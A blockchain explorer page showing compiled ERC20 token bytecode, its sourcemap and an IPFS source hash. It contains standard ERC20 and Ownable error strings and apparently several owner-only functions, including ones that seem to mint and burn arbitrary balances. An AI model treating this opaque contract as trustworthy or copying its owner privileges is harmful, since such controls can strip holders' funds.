516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220dd8f6a5e91245f8bd32e02839669cae48aec36a3a331158ce4631cdc0a81a61a64736f6c63430008000033

Deployed Bytecode Sourcemap

9425:1997:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3228:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4201:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;11050:79::-;;;;;;:::i;:::-;;:::i;:::-;;9551:24;;;:::i;:::-;;;;;;;:::i;3566:108::-;;;:::i;4416:295::-;;;;;;:::i;:::-;;:::i;3459:93::-;;;:::i;:::-;;;;;;;:::i;9582:24::-;;;:::i;4725:238::-;;;;;;:::i;:::-;;:::i;9613:20::-;;;:::i;10854:83::-;;;;;;:::i;:::-;;:::i;3688:127::-;;;;;;:::i;:::-;;:::i;1146:135::-;;;:::i;9498:19::-;;;:::i;:::-;;;;;;;:::i;10665:80::-;;;;;;:::i;:::-;;:::i;883:89::-;;;:::i;3342:104::-;;;:::i;10757:83::-;;;;;;:::i;:::-;;:::i;4977:436::-;;;;;;:::i;:::-;;:::i;9525:19::-;;;:::i;3829:193::-;;;;;;:::i;:::-;;:::i;11141:121::-;;;;;;:::i;:::-;;:::i;10951:84::-;;;;;;:::i;:::-;;:::i;4036:151::-;;;;;;:::i;:::-;;:::i;11275:121::-;;;;;;:::i;:::-;;:::i;1295:201::-;;;;;;:::i;:::-;;:::i;3228:100::-;3282:13;3315:5;3308:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3228:100;:::o;4201:201::-;4284:4;4301:13;4317:12;:10;:12::i;:::-;4301:28;;4340:32;4349:5;4356:7;4365:6;4340:8;:32::i;:::-;4390:4;4383:11;;;4201:201;;;;;:::o;11050:79::-;829:13;:11;:13::i;:::-;11109:4:::1;:12:::0;;-1:-1:-1;;;;;;11109:12:0::1;-1:-1:-1::0;;;;;11109:12:0;;;::::1;::::0;;;::::1;::::0;;11050:79::o;9551:24::-;;;;:::o;3566:108::-;3654:12;;3566:108;:::o;4416:295::-;4547:4;4564:15;4582:12;:10;:12::i;:::-;4564:30;;4605:38;4621:4;4627:7;4636:6;4605:15;:38::i;:::-;4654:27;4664:4;4670:2;4674:6;4654:9;:27::i;:::-;4699:4;4692:11;;;4416:295;;;;;;:::o;3459:93::-;3542:2;3459:93;:::o;9582:24::-;;;;:::o;4725:238::-;4813:4;4830:13;4846:12;:10;:12::i;:::-;4830:28;;4869:64;4878:5;4885:7;4922:10;4894:25;4904:5;4911:7;4894:9;:25::i;:::-;:38;;;;:::i;:::-;4869:8;:64::i;9613:20::-;;;;:::o;10854:83::-;829:13;:11;:13::i;:::-;10914:5:::1;:14:::0;10854:83::o;3688:127::-;-1:-1:-1;;;;;3789:18:0;;3762:7;3789:18;;;;;;;;;;;3688:127;;;;:::o;1146:135::-;1202:71;1229:42;1202:18;:71::i;:::-;1146:135::o;9498:19::-;;;-1:-1:-1;;;;;9498:19:0;;:::o;10665:80::-;829:13;:11;:13::i;:::-;10725:4:::1;:12:::0;;-1:-1:-1;;;;;;10725:12:0::1;-1:-1:-1::0;;;;;10725:12:0;;;::::1;::::0;;;::::1;::::0;;10665:80::o;883:89::-;957:6;;-1:-1:-1;;;;;957:6:0;883:89;:::o;3342:104::-;3398:13;3431:7;3424:14;;;;;:::i;10757:83::-;829:13;:11;:13::i;:::-;10817:5:::1;:14:::0;10757:83::o;4977:436::-;5070:4;5087:13;5103:12;:10;:12::i;:::-;5087:28;;5126:24;5153:25;5163:5;5170:7;5153:9;:25::i;:::-;5126:52;;5217:15;5197:16;:35;;5189:85;;;;-1:-1:-1;;;5189:85:0;;;;;;;:::i;:::-;;;;;;;;;5310:60;5319:5;5326:7;5354:15;5335:16;:34;5310:8;:60::i;:::-;-1:-1:-1;5401:4:0;;4977:436;-1:-1:-1;;;;4977:436:0:o;9525:19::-;;;-1:-1:-1;;;;;9525:19:0;;:::o;3829:193::-;3908:4;3925:13;3941:12;:10;:12::i;:::-;3925:28;;3964;3974:5;3981:2;3985:6;3964:9;:28::i;11141:121::-;829:13;:11;:13::i;:::-;11214:40:::1;11220:7;11243:10;:8;:10::i;:::-;11237:16;::::0;:2:::1;:16;:::i;:::-;11229:24;::::0;:6;:24:::1;:::i;:::-;11214:5;:40::i;:::-;11141:121:::0;;:::o;10951:84::-;829:13;:11;:13::i;:::-;11013:5:::1;:13:::0;10951:84::o;4036:151::-;-1:-1:-1;;;;;4152:18:0;;;4125:7;4152:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4036:151::o;11275:121::-;829:13;:11;:13::i;:::-;11348:40:::1;11354:7;11377:10;:8;:10::i;:::-;11371:16;::::0;:2:::1;:16;:::i;:::-;11363:24;::::0;:6;:24:::1;:::i;:::-;11348:5;:40::i;1295:201::-:0;829:13;:11;:13::i;:::-;-1:-1:-1;;;;;1384:22:0;::::1;1376:73;;;;-1:-1:-1::0;;;1376:73:0::1;;;;;;;:::i;:::-;1460:28;1479:8;1460:18;:28::i;:::-;1295:201:::0;:::o;304:98::-;384:10;304:98;:::o;7138:380::-;-1:-1:-1;;;;;7274:19:0;;7266:68;;;;-1:-1:-1;;;7266:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7353:21:0;;7345:68;;;;-1:-1:-1;;;7345:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7426:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7478:32;;;;;7456:6;;7478:32;:::i;:::-;;;;;;;;7138:380;;;:::o;987:145::-;1074:12;:10;:12::i;:::-;-1:-1:-1;;;;;1063:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1063:23:0;;1055:68;;;;-1:-1:-1;;;1055:68:0;;;;;;;:::i;7532:453::-;7667:24;7694:25;7704:5;7711:7;7694:9;:25::i;:::-;7667:52;;-1:-1:-1;;7734:16:0;:37;7730:248;;7816:6;7796:16;:26;;7788:68;;;;-1:-1:-1;;;7788:68:0;;;;;;;:::i;:::-;7900:51;7909:5;7916:7;7944:6;7925:16;:25;7900:8;:51::i;:::-;7532:453;;;;:::o;9866:787::-;9999:9;10011:16;:6;10022:4;10011:10;:16::i;:::-;10051:4;;9999:28;;-1:-1:-1;;;;;;10041:14:0;;;10051:4;;10041:14;10038:608;;;10095:4;;10107:5;;10071:43;;10087:6;;-1:-1:-1;;;;;10095:4:0;;;;10101:12;;:1;;:5;:12::i;:::-;10071:15;:43::i;:::-;10129:53;10145:6;10153:9;10164:17;10175:5;;10170:4;:10;;;;:::i;:::-;10164:1;;:5;:17::i;10129:53::-;10038:608;;;10215:4;;-1:-1:-1;;;;;10202:17:0;;;10215:4;;10202:17;10199:447;;;10259:4;;10271:5;;10235:43;;10251:6;;-1:-1:-1;;;;;10259:4:0;;;;10265:12;;:1;;:5;:12::i;10235:43::-;10293:53;10309:6;10317:9;10328:17;10339:5;;10334:4;:10;;;;:::i;10199:447::-;10367:4;;-1:-1:-1;;;;;10367:4:0;:18;;;;10366:43;;-1:-1:-1;10404:4:0;;-1:-1:-1;;;;;10391:17:0;;;10404:4;;10391:17;;10366:43;:63;;;;-1:-1:-1;10424:4:0;;-1:-1:-1;;;;;10414:14:0;;;10424:4;;10414:14;;10366:63;10363:283;;;10469:4;;10481:5;;10445:43;;10461:6;;-1:-1:-1;;;;;10469:4:0;;;;10475:12;;:1;;:5;:12::i;10445:43::-;10503:53;10519:6;10527:9;10538:17;10549:5;;10544:4;:10;;;;:::i;10363:283::-;10587:47;10603:6;10611:9;10622:11;:1;10628:4;10622:5;:11::i;1510:191::-;1603:6;;;-1:-1:-1;;;;;1620:17:0;;;-1:-1:-1;;;;;;1620:17:0;;;;;;;1653:40;;1603:6;;;1620:17;1603:6;;1653:40;;1584:16;;1653:40;1510:191;;:::o;6112:399::-;-1:-1:-1;;;;;6196:21:0;;6188:65;;;;-1:-1:-1;;;6188:65:0;;;;;;;:::i;:::-;6266:49;6295:1;6299:7;6308:6;6266:20;:49::i;:::-;6344:6;6328:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6361:18:0;;:9;:18;;;;;;;;;;:28;;6383:6;;6361:9;:28;;6383:6;;6361:28;:::i;:::-;;;;-1:-1:-1;;6405:37:0;;-1:-1:-1;;;;;6405:37:0;;;6422:1;;6405:37;;;;6435:6;;6405:37;:::i;:::-;;;;;;;;6455:48;6483:1;6487:7;6496:6;6455:19;:48::i;6525:591::-;-1:-1:-1;;;;;6609:21:0;;6601:67;;;;-1:-1:-1;;;6601:67:0;;;;;;;:::i;:::-;6681:49;6702:7;6719:1;6723:6;6681:20;:49::i;:::-;-1:-1:-1;;;;;6768:18:0;;6743:22;6768:18;;;;;;;;;;;6805:24;;;;6797:71;;;;-1:-1:-1;;;6797:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6904:18:0;;:9;:18;;;;;;;;;;6925:23;;;6904:44;;6970:12;:22;;6942:6;;6904:9;6970:22;;6942:6;;6970:22;:::i;:::-;;;;-1:-1:-1;;7010:37:0;;7036:1;;-1:-1:-1;;;;;7010:37:0;;;;;;;7040:6;;7010:37;:::i;:::-;;;;;;;;7060:48;7080:7;7097:1;7101:6;7060:48;6525:591;;;:::o;9093:132::-;9151:7;9178:39;9182:1;9185;9178:39;;;;;;;;;;;;;;;;;:3;:39::i;8841:246::-;8899:7;8923:6;8919:47;;-1:-1:-1;8953:1:0;8946:8;;8919:47;8976:9;8988:5;8992:1;8988;:5;:::i;:::-;8976:17;-1:-1:-1;9021:1:0;9012:5;9016:1;8976:17;9012:5;:::i;:::-;:10;9004:56;;;;-1:-1:-1;;;9004:56:0;;;;;;;:::i;5427:671::-;-1:-1:-1;;;;;5558:18:0;;5550:68;;;;-1:-1:-1;;;5550:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5637:16:0;;5629:64;;;;-1:-1:-1;;;5629:64:0;;;;;;;:::i;:::-;5706:38;5727:4;5733:2;5737:6;5706:20;:38::i;:::-;-1:-1:-1;;;;;5779:15:0;;5757:19;5779:15;;;;;;;;;;;5813:21;;;;5805:72;;;;-1:-1:-1;;;5805:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5913:15:0;;;:9;:15;;;;;;;;;;;5931:20;;;5913:38;;5973:13;;;;;;;;:23;;5945:6;;5913:9;5973:23;;5945:6;;5973:23;:::i;:::-;;;;;;;;6029:2;-1:-1:-1;;;;;6014:26:0;6023:4;-1:-1:-1;;;;;6014:26:0;;6033:6;6014:26;;;;;;:::i;:::-;;;;;;;;6053:37;6073:4;6079:2;6083:6;6053:19;:37::i;9231:189::-;9317:7;9352:12;9345:5;9337:28;;;;-1:-1:-1;;;9337:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9376:9:0;9388:5;9392:1;9388;:5;:::i;:::-;9376:17;9231:189;-1:-1:-1;;;;;9231:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:190::-;;1406:2;1394:9;1385:7;1381:23;1377:32;1374:2;;;1427:6;1419;1412:22;1374:2;-1:-1:-1;1455:23:1;;1364:120;-1:-1:-1;1364:120:1:o;1489:203::-;-1:-1:-1;;;;;1653:32:1;;;;1635:51;;1623:2;1608:18;;1590:102::o;1697:187::-;1862:14;;1855:22;1837:41;;1825:2;1810:18;;1792:92::o;1889:603::-;;2030:2;2059;2048:9;2041:21;2091:6;2085:13;2134:6;2129:2;2118:9;2114:18;2107:34;2159:4;2172:140;2186:6;2183:1;2180:13;2172:140;;;2281:14;;;2277:23;;2271:30;2247:17;;;2266:2;2243:26;2236:66;2201:10;;2172:140;;;2330:6;2327:1;2324:13;2321:2;;;2400:4;2395:2;2386:6;2375:9;2371:22;2367:31;2360:45;2321:2;-1:-1:-1;2476:2:1;2455:15;-1:-1:-1;;2451:29:1;2436:45;;;;2483:2;2432:54;;2010:482;-1:-1:-1;;;2010:482:1:o;2497:399::-;2699:2;2681:21;;;2738:2;2718:18;;;2711:30;2777:34;2772:2;2757:18;;2750:62;-1:-1:-1;;;2843:2:1;2828:18;;2821:33;2886:3;2871:19;;2671:225::o;2901:398::-;3103:2;3085:21;;;3142:2;3122:18;;;3115:30;3181:34;3176:2;3161:18;;3154:62;-1:-1:-1;;;3247:2:1;3232:18;;3225:32;3289:3;3274:19;;3075:224::o;3304:402::-;3506:2;3488:21;;;3545:2;3525:18;;;3518:30;3584:34;3579:2;3564:18;;3557:62;-1:-1:-1;;;3650:2:1;3635:18;;3628:36;3696:3;3681:19;;3478:228::o;3711:398::-;3913:2;3895:21;;;3952:2;3932:18;;;3925:30;3991:34;3986:2;3971:18;;3964:62;-1:-1:-1;;;4057:2:1;4042:18;;4035:32;4099:3;4084:19;;3885:224::o;4114:353::-;4316:2;4298:21;;;4355:2;4335:18;;;4328:30;4394:31;4389:2;4374:18;;4367:59;4458:2;4443:18;;4288:179::o;4472:402::-;4674:2;4656:21;;;4713:2;4693:18;;;4686:30;4752:34;4747:2;4732:18;;4725:62;-1:-1:-1;;;4818:2:1;4803:18;;4796:36;4864:3;4849:19;;4646:228::o;4879:397::-;5081:2;5063:21;;;5120:2;5100:18;;;5093:30;5159:34;5154:2;5139:18;;5132:62;-1:-1:-1;;;5225:2:1;5210:18;;5203:31;5266:3;5251:19;;5053:223::o;5281:356::-;5483:2;5465:21;;;5502:18;;;5495:30;5561:34;5556:2;5541:18;;5534:62;5628:2;5613:18;;5455:182::o;5642:397::-;5844:2;5826:21;;;5883:2;5863:18;;;5856:30;5922:34;5917:2;5902:18;;5895:62;-1:-1:-1;;;5988:2:1;5973:18;;5966:31;6029:3;6014:19;;5816:223::o;6044:401::-;6246:2;6228:21;;;6285:2;6265:18;;;6258:30;6324:34;6319:2;6304:18;;6297:62;-1:-1:-1;;;6390:2:1;6375:18;;6368:35;6435:3;6420:19;;6218:227::o;6450:400::-;6652:2;6634:21;;;6691:2;6671:18;;;6664:30;6730:34;6725:2;6710:18;;6703:62;-1:-1:-1;;;6796:2:1;6781:18;;6774:34;6840:3;6825:19;;6624:226::o;6855:401::-;7057:2;7039:21;;;7096:2;7076:18;;;7069:30;7135:34;7130:2;7115:18;;7108:62;-1:-1:-1;;;7201:2:1;7186:18;;7179:35;7246:3;7231:19;;7029:227::o;7261:355::-;7463:2;7445:21;;;7502:2;7482:18;;;7475:30;7541:33;7536:2;7521:18;;7514:61;7607:2;7592:18;;7435:181::o;7621:177::-;7767:25;;;7755:2;7740:18;;7722:76::o;7803:184::-;7975:4;7963:17;;;;7945:36;;7933:2;7918:18;;7900:87::o;7992:128::-;;8063:1;8059:6;8056:1;8053:13;8050:2;;;8069:18;;:::i;:::-;-1:-1:-1;8105:9:1;;8040:80::o;8125:217::-;;8191:1;8181:2;;-1:-1:-1;;;8216:31:1;;8270:4;8267:1;8260:15;8298:4;8223:1;8288:15;8181:2;-1:-1:-1;8327:9:1;;8171:171::o;8347:453::-;8443:6;8466:5;8480:314;8529:1;8566:2;8556:8;8553:16;8543:2;;8573:5;;;8543:2;8614:4;8609:3;8605:14;8599:4;8596:24;8593:2;;;8623:18;;:::i;:::-;8673:2;8663:8;8659:17;8656:2;;;8688:16;;;;8656:2;8767:17;;;;;8727:15;;8480:314;;;8424:376;;;;;;;:::o;8805:148::-;;8892:55;-1:-1:-1;;8933:4:1;8919:19;;8913:4;8958:922;9042:8;9032:2;;-1:-1:-1;9083:1:1;9097:5;;9032:2;9131:4;9121:2;;-1:-1:-1;9168:1:1;9182:5;;9121:2;9213:4;9231:1;9226:59;;;;9299:1;9294:183;;;;9206:271;;9226:59;9256:1;9247:10;;9270:5;;;9294:183;9331:3;9321:8;9318:17;9315:2;;;9338:18;;:::i;:::-;9394:1;9384:8;9380:16;9371:25;;9422:3;9415:5;9412:14;9409:2;;;9429:18;;:::i;:::-;9462:5;;;9206:271;;9561:2;9551:8;9548:16;9542:3;9536:4;9533:13;9529:36;9523:2;9513:8;9510:16;9505:2;9499:4;9496:12;9492:35;9489:77;9486:2;;;-1:-1:-1;9598:19:1;;;9633:14;;;9630:2;;;9650:18;;:::i;:::-;9683:5;;9486:2;9730:42;9768:3;9758:8;9752:4;9749:1;9730:42;:::i;:::-;9805:6;9800:3;9796:16;9787:7;9784:29;9781:2;;;9816:18;;:::i;:::-;9854:20;;9022:858;-1:-1:-1;;;;9022:858:1:o;9885:168::-;;9991:1;9987;9983:6;9979:14;9976:1;9973:21;9968:1;9961:9;9954:17;9950:45;9947:2;;;9998:18;;:::i;:::-;-1:-1:-1;10038:9:1;;9937:116::o;10058:125::-;;10126:1;10123;10120:8;10117:2;;;10131:18;;:::i;:::-;-1:-1:-1;10168:9:1;;10107:76::o;10188:380::-;10273:1;10263:12;;10320:1;10310:12;;;10331:2;;10385:4;10377:6;10373:17;10363:27;;10331:2;10438;10430:6;10427:14;10407:18;10404:38;10401:2;;;10484:10;10479:3;10475:20;10472:1;10465:31;10519:4;10516:1;10509:15;10547:4;10544:1;10537:15;10401:2;;10243:325;;;:::o;10573:127::-;10634:10;10629:3;10625:20;10622:1;10615:31;10665:4;10662:1;10655:15;10689:4;10686:1;10679:15

Swarm Source

ipfs://dd8f6a5e91245f8bd32e02839669cae48aec36a3a331158ce4631cdc0a81a61a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.